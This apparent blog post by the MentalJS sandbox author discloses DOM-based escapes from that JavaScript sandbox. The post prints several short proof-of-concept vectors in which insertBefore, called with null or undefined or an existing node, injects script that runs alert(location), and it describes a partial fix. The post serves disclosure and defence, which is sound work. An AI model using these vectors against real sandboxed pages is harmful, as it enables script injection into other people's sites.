MentalJS DOM bypass

Ruben Ventura (@tr3w_) found a pretty cool bypass of MentalJS. He used insertBefore with a null second argument which allows you to insert a node into the dom and bypass my sandboxing restrictions. The vector is below:-


_=document

x =_.createElement('script');
s =_.createElement('style')
s.innerHTML = '*/alert(location)//'

t=_.createElement('b')
t.textContent = '/*'
x.insertBefore(t.firstChild, null);
x.insertBefore(s, null)
_.body.appendChild(x)

x =_.createElement('script');
s =_.createElement('style')
s.innerHTML = _.getElementsByTagName('script')[2].textContent

x.insertBefore(s.firstChild, null)
_.body.appendChild(x)

It can actually be compressed to the following:

s=document.createElement('script');
s.insertBefore(document.createTextNode('alert(location)'),null);
document.body.appendChild(s);

The fix was to check if the second argument is null and the parent node is a script. Clean the script and then sandbox the code. Hopefully that will fix the attack, I couldn’t see a way to use insertBefore without a null argument to cause another bypass.

Update…

@tr3w_ broke my fix :) he used undefined instead of null to bypass my condition and also cleverly used insertBefore with a node that occurs within the script to bypass cleaning the script and inject his code.


with(document) {
s = createElement('script');
s.insertBefore(createTextNode('alert(location)'), [][[]]);
body.appendChild(s);
}


with(document) {
s = createElement('script');
s.insertBefore(createTextNode('/**/'),null);
s.insertBefore(createTextNode('alert(location)'),s.firstChild);
}

Comments are closed :( too much spam. If you want to contact me about any article please email or tweet me.